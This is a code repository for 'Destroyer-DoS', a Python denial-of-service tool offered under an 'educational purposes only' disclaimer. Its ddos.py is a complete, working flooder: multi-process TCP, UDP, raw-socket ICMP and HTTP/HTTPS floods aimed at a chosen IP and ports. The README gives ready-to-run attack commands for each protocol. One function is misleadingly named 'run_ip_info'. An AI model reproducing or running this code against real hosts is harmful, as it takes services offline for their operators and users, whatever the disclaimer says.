├── LICENSE ├── README.md ├── ddos.py └── requirements.txt /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Destroyer-official 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS",WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | --- 3 | 4 |
5 | 6 | # 🌐 Destroyer-DoS: Advanced DDoS Simulation Tool 🌐 7 | 8 | [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) 9 | [![Python](https://img.shields.io/badge/Python-3.6%2B-blue.svg)](https://www.python.org/downloads/) 10 | 11 |
12 | 13 | --- 14 | 15 |
16 | 17 | ### 🚨⚠️ WARNING: Educational Purposes Only! Unauthorized Use May Have Legal Consequences. Act Responsibly and Obtain Proper Authorization. ⚠️🚨 18 | 19 |
20 | 21 | --- 22 | 23 | ### 📂 File: `ddos.py` - Destroyer Denial of Service Simulation 24 | 25 | --- 26 | 27 | ### 🌟 Overview 28 | 29 | **Destroyer-DoS** is an educational script for simulating Distributed Denial of Service (DDoS) attacks. This tool uses Python’s async and multiprocessing capabilities to unleash high-impact network stress on specified IPs and ports. Ideal for testing network resilience in authorized environments. 🚀 30 | 31 | --- 32 | 33 | ### 🛠️ Features 34 | 35 | - 🎯 **Multi-Protocol Support**: TCP, UDP, HTTP, HTTPS, ICMP 36 | - 🚀 **Asynchronous Packet Sending**: Fast and non-blocking 37 | - 🔄 **Multiprocessing**: High-throughput operations 38 | - 🧩 **Flexible Packet Size, Process & Thread Control** 39 | - 💻 **Cross-Platform Compatible** with Robust Error Handling 40 | 41 | --- 42 | 43 | ### 🚀 Installation & Setup 44 | 45 | 1. **Clone the Repository**: 46 | ```bash 47 | git clone https://github.com/Destroyer-official/Destroyer-DoS.git 48 | ``` 49 | 50 | 2. **Navigate to the Directory**: 51 | ```bash 52 | cd Destroyer-DoS 53 | ``` 54 | 55 | 3. **Install Required Packages**: 56 | - Standard library dependencies are generally included with Python. If you're using Python <3.4, install any missing modules listed in `requirements.txt`: 57 | ```bash 58 | pip install -r requirements.txt 59 | ``` 60 | 61 | --- 62 | 63 | ### 🌐 Command Usage Examples 64 | 65 | To execute the script, run: 66 | 67 | ```bash 68 | python ddos.py -ip [Target_IP] -p [Target_Port] -pr [Processes] -t [Threads] -[Protocol] 69 | ``` 70 | 71 | Examples: 72 | 73 | #### **Single Protocol Attack** 🌊 74 | - **TCP Attack**: 75 | ```bash 76 | python ddos.py -ip 192.168.0.1 -p 80 -pr 30 -t 20 -T 77 | ``` 78 | - **UDP Attack**: 79 | ```bash 80 | python ddos.py -ip 192.168.0.1 -p 53 -pr 30 -t 20 -U 81 | ``` 82 | - **ICMP Ping Attack**: 83 | ```bash 84 | python ddos.py -ip 192.168.0.1 -pr 30 -t 20 -I 85 | ``` 86 | - **HTTP Flood**: 87 | ```bash 88 | python ddos.py -ip 192.168.0.1 -p 80 -pr 30 -t 20 -H 89 | ``` 90 | - **HTTPS Flood**: 91 | ```bash 92 | python ddos.py -ip 192.168.0.1 -p 443 -pr 30 -t 20 -S 93 | ``` 94 | 95 | #### **All Protocols Combined Attack** 🌐 96 | - Run all protocols simultaneously: 97 | ```bash 98 | python ddos.py -ip 192.168.0.1 -p 80 -pr 30 -t 20 -A 99 | ``` 100 | 101 | #### **Advanced Options** ⚙️ 102 | - **Custom Port Range**: 103 | ```bash 104 | python ddos.py -ip 192.168.0.1 -p 80-90 -pr 30 -t 20 -T 105 | ``` 106 | - **Multiple Ports**: 107 | ```bash 108 | python ddos.py -ip 192.168.0.1 -p 80,443,8080 -pr 30 -t 20 -U 109 | ``` 110 | - **Specify Packet Size**: 111 | ```bash 112 | python ddos.py -ip 192.168.0.1 -p 80 -pr 30 -t 20 -ps 1024 -T 113 | ``` 114 | 115 | --- 116 | 117 | ### 💻 Command-Line Arguments Guide 118 | 119 | | Argument | Description | 120 | |----------------|---------------------------------------------------------------------------------------------------| 121 | | `-ip` | Target IP address. | 122 | | `-p` | Target port (can be a single port, range, or multiple ports separated by commas). | 123 | | `-T` | Use TCP protocol for the test. | 124 | | `-U` | Use UDP protocol for the test. | 125 | | `-I` | Use ICMP protocol (ping simulation). | 126 | | `-H` | Use HTTP protocol. | 127 | | `-S` | Use HTTPS protocol. | 128 | | `-A` | Run all protocols concurrently. | 129 | | `-pr` | Number of processes to run concurrently (default: 30). | 130 | | `-t` | Number of threads per process (default: 40). | 131 | | `-ps` | Packet size in bytes (default: maximum for selected protocol). | 132 | 133 | --- 134 | 135 | ### 📚 How It Works 136 | 137 | 1. **Target Preparation**: 138 | - Validates target IP and port information. 139 | - Establishes CPU affinity to optimize resource usage on multi-core systems. 140 | 141 | 2. **Protocol-Specific Packet Sending**: 142 | - **TCP**: Creates TCP connections and sends continuous random data streams. 143 | - **UDP**: Sends random UDP packets to impact network bandwidth. 144 | - **ICMP**: Simulates ping requests using ICMP packets. 145 | - **HTTP/HTTPS**: Sends asynchronous HTTP/HTTPS requests to simulate web server load. 146 | 147 | 3. **Process and Thread Management**: 148 | - Distributes load across multiple processes and threads, simulating distributed attacks. 149 | 150 | --- 151 | 152 | ### ⚠️ Disclaimer 153 | 154 | **Disclaimer**: This script is intended for educational purposes only and should be used to test network robustness in authorized environments. Unauthorized use may have legal consequences. Always ensure proper authorization. 155 | 156 | --- 157 | 158 | ### 🤝 Contributing 159 | 160 | Contributions are welcome! If you have ideas for improvements, feel free to submit a pull request or create an issue. 161 | 162 | --- 163 | 164 | ### 📜 License 165 | 166 | This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for more details. 167 | 168 | --- 169 | 170 |
171 | 172 | Happy Testing! 🚀🌐 173 | 174 |
175 | 176 | --- 177 | 178 | -------------------------------------------------------------------------------- /ddos.py: -------------------------------------------------------------------------------- 1 | import random 2 | import asyncio 3 | import multiprocessing 4 | import argparse 5 | import os 6 | import platform 7 | import psutil 8 | import selectors 9 | import socket 10 | import ssl 11 | from aiohttp import ClientSession 12 | 13 | # Constants for packet handling 14 | SOCK_BUFFER_SIZE = 1024 * 1024 # 1 MB 15 | MAX_UDP_PACKET_SIZE = 65507 # Max size for UDP 16 | MAX_TCP_PACKET_SIZE = 1024 * 1024 # 1MB for TCP 17 | MAX_HTTP_PACKET_SIZE = 1024 # 1KB for HTTP(S) 18 | 19 | def setup_uvloop(): 20 | """Attempt to set up uvloop if available; otherwise, fallback to asyncio.""" 21 | if platform.system() != 'Windows': 22 | try: 23 | import uvloop 24 | asyncio.set_event_loop_policy(uvloop.EventLoopPolicy()) 25 | except ImportError: 26 | pass # Ignore if uvloop is not available 27 | except Exception as e: 28 | print(f"[ERROR] Unable to set up uvloop: {e}") 29 | 30 | def randomize_cpu_affinity(): 31 | """Randomize CPU affinity for load distribution, handling errors gracefully.""" 32 | current_pid = os.getpid() 33 | try: 34 | cpu_count = os.cpu_count() 35 | if not cpu_count: 36 | print("[WARNING] Unable to determine the number of CPUs.") 37 | return 38 | 39 | cpu_ids = random.sample(range(cpu_count), random.randint(1, cpu_count)) 40 | if platform.system() in ['Linux', 'Android']: 41 | cpu_mask = sum(1 << cpu for cpu in cpu_ids) 42 | os.system(f'taskset -p {cpu_mask} {current_pid}') 43 | print(f"[INFO] Set CPU affinity mask to: {cpu_mask}") 44 | elif platform.system() == 'Windows': 45 | psutil.Process(current_pid).cpu_affinity(cpu_ids) 46 | print(f"[INFO] Set CPU affinity to: {cpu_ids}") 47 | else: 48 | print(f"[WARNING] CPU affinity setting not supported on this platform: {platform.system()}") 49 | except psutil.AccessDenied: 50 | print("[ERROR] Access denied to set CPU affinity. Run with elevated permissions.") 51 | except Exception as e: 52 | print(f"[ERROR] Exception occurred while setting CPU affinity: {e}") 53 | 54 | async def send_tcp_packet(target, port, selector, packet_size=MAX_TCP_PACKET_SIZE): 55 | """Asynchronous TCP packet sender with error handling.""" 56 | try: 57 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 58 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, SOCK_BUFFER_SIZE) 59 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, SOCK_BUFFER_SIZE) 60 | sock.setblocking(False) 61 | sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) 62 | 63 | try: 64 | sock.connect((target, port)) 65 | except BlockingIOError: 66 | pass # Non-blocking connect 67 | 68 | selector.register(sock, selectors.EVENT_WRITE) 69 | data = random._urandom(packet_size) 70 | 71 | while True: 72 | events = selector.select(timeout=0.01) 73 | for key, _ in events: 74 | try: 75 | sock.send(data) 76 | except (ConnectionRefusedError, OSError) as e: 77 | print(f"[ERROR] TCP connection error: {e}") 78 | return # Exit on connection error 79 | except Exception as e: 80 | print(f"[ERROR] Exception in TCP sending: {e}") 81 | finally: 82 | try: 83 | selector.unregister(sock) 84 | sock.close() 85 | except Exception as e: 86 | print(f"[ERROR] Exception closing TCP socket: {e}") 87 | 88 | async def send_udp_packet(target, port, packet_size=MAX_UDP_PACKET_SIZE): 89 | """Asynchronous UDP packet sender with error handling.""" 90 | try: 91 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 92 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, SOCK_BUFFER_SIZE) 93 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, SOCK_BUFFER_SIZE) 94 | sock.setblocking(False) 95 | data = random._urandom(packet_size) 96 | 97 | while True: 98 | try: 99 | sock.sendto(data, (target, port)) 100 | await asyncio.sleep(0.0001) # Small delay to prevent CPU hogging 101 | except OSError as e: 102 | print(f"[ERROR] UDP socket error: {e}") 103 | break 104 | except Exception as e: 105 | print(f"[ERROR] Exception in UDP sending: {e}") 106 | finally: 107 | try: 108 | sock.close() 109 | except Exception as e: 110 | print(f"[ERROR] Exception closing UDP socket: {e}") 111 | 112 | async def send_icmp_packet(target): 113 | """Asynchronous ICMP packet sender with error handling.""" 114 | try: 115 | with socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) as sock: 116 | packet = b'\x08\x00\x00\x00\x00\x00\x00\x00' # ICMP Echo Request 117 | while True: 118 | sock.sendto(packet, (target, 0)) 119 | await asyncio.sleep(0.01) # Frequency control for ICMP 120 | except Exception as e: 121 | print(f"[ERROR] Exception in ICMP sending: {e}") 122 | 123 | async def send_https_request(target, port, packet_size=MAX_HTTP_PACKET_SIZE): 124 | """Asynchronous HTTPS request sender with error handling.""" 125 | ssl_context = ssl.create_default_context() 126 | ssl_context.check_hostname = False 127 | ssl_context.verify_mode = ssl.CERT_NONE 128 | 129 | url = f"https://{target}:{port}" 130 | async with ClientSession() as session: 131 | data = random._urandom(packet_size) 132 | while True: 133 | try: 134 | async with session.post(url, data=data, ssl=ssl_context) as response: 135 | await response.read() 136 | except Exception as e: 137 | print(f"[ERROR] HTTPS request error: {e}") 138 | await asyncio.sleep(0.01) 139 | 140 | async def send_http_request(target, port, packet_size=MAX_HTTP_PACKET_SIZE): 141 | """Asynchronous HTTP request sender with error handling.""" 142 | url = f"http://{target}:{port}" 143 | async with ClientSession() as session: 144 | data = random._urandom(packet_size) 145 | while True: 146 | try: 147 | async with session.post(url, data=data) as response: 148 | await response.read() 149 | except Exception as e: 150 | print(f"[ERROR] HTTP request error: {e}") 151 | await asyncio.sleep(0.01) 152 | 153 | def parse_ports(port_input): 154 | """Parse a port input as single, range, or multiple ports.""" 155 | try: 156 | if '-' in port_input: 157 | start, end = map(int, port_input.split('-')) 158 | return list(range(start, end + 1)) 159 | elif ',' in port_input: 160 | return list(map(int, port_input.split(','))) 161 | else: 162 | return [int(port_input)] 163 | except ValueError as e: 164 | print(f"[ERROR] Exception parsing ports: {e}") 165 | return [] 166 | 167 | def run_ip_info(ip_address, port, num_processes, num_threads_per_process, protocol, packet_size): 168 | """Run IP information gathering with asynchronous packet sending.""" 169 | randomize_cpu_affinity() 170 | setup_uvloop() 171 | 172 | loop = asyncio.new_event_loop() 173 | asyncio.set_event_loop(loop) 174 | 175 | tasks = [] 176 | if protocol == 'TCP': 177 | tasks = [send_tcp_packet(ip_address, port, selectors.DefaultSelector(), packet_size) for _ in range(num_threads_per_process)] 178 | elif protocol == 'UDP': 179 | tasks = [send_udp_packet(ip_address, port, packet_size) for _ in range(num_threads_per_process)] 180 | elif protocol == 'ICMP': 181 | tasks = [send_icmp_packet(ip_address)] 182 | elif protocol == 'HTTPS': 183 | tasks = [send_https_request(ip_address, port, packet_size)] 184 | elif protocol == 'HTTP': 185 | tasks = [send_http_request(ip_address, port, packet_size)] 186 | 187 | try: 188 | loop.run_until_complete(asyncio.gather(*tasks)) 189 | except Exception as e: 190 | print(f"[ERROR] Exception during async tasks: {e}") 191 | finally: 192 | loop.close() 193 | 194 | def main(): 195 | parser = argparse.ArgumentParser( 196 | description='Advanced DDoS Simulation Script with Robust Error Handling', 197 | usage="%(prog)s -ip -p [options]" 198 | ) 199 | parser.add_argument('-ip', required=True, help='Target IP address') 200 | parser.add_argument('-p', help='Target port (can be a single port, range, or multiple ports)') 201 | parser.add_argument('-T', action='store_true', help='Use TCP protocol') 202 | parser.add_argument('-H', action='store_true', help='Use HTTP protocol') 203 | parser.add_argument('-S', action='store_true', help='Use HTTPS protocol') 204 | parser.add_argument('-I', action='store_true', help='Use ICMP protocol') 205 | parser.add_argument('-U', action='store_true', help='Use UDP protocol') 206 | parser.add_argument('-A', action='store_true', help='Run all protocols in parallel') 207 | parser.add_argument('-pr', default=30, type=int, help='Number of processes to run in parallel') 208 | parser.add_argument('-t', default=40, type=int, help='Number of threads per process') 209 | parser.add_argument('-ps', default=MAX_UDP_PACKET_SIZE, type=int, help='Packet size for the stress test') 210 | 211 | args = parser.parse_args() 212 | ip_address = args.ip 213 | num_processes = args.pr 214 | num_threads_per_process = args.t 215 | packet_size = args.ps 216 | 217 | protocols = [] 218 | ports = {} 219 | 220 | if args.A: 221 | if args.p: 222 | port_list = parse_ports(args.p) 223 | protocols = ['TCP', 'UDP', 'ICMP', 'HTTPS', 'HTTP'] 224 | for protocol in protocols: 225 | ports[protocol] = port_list if protocol != 'ICMP' else [0] 226 | else: 227 | if args.T: protocols.append('TCP') 228 | if args.U: protocols.append('UDP') 229 | if args.I: protocols.append('ICMP') 230 | if args.H: protocols.append('HTTP') 231 | if args.S: protocols.append('HTTPS') 232 | 233 | if args.p: 234 | for protocol in protocols: 235 | ports[protocol] = parse_ports(args.p) 236 | 237 | for protocol in protocols: 238 | for port in ports.get(protocol, []): 239 | processes = [] 240 | for _ in range(num_processes): 241 | process = multiprocessing.Process( 242 | target=run_ip_info, 243 | args=(ip_address, port, num_processes, num_threads_per_process, protocol, packet_size) 244 | ) 245 | process.start() 246 | processes.append(process) 247 | for process in processes: 248 | process.join() 249 | 250 | if __name__ == "__main__": 251 | main() 252 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | aiohttp 2 | psutil 3 | uvloop 4 | asyncio 5 | argparse 6 | multiprocessing 7 | random 8 | socket 9 | --------------------------------------------------------------------------------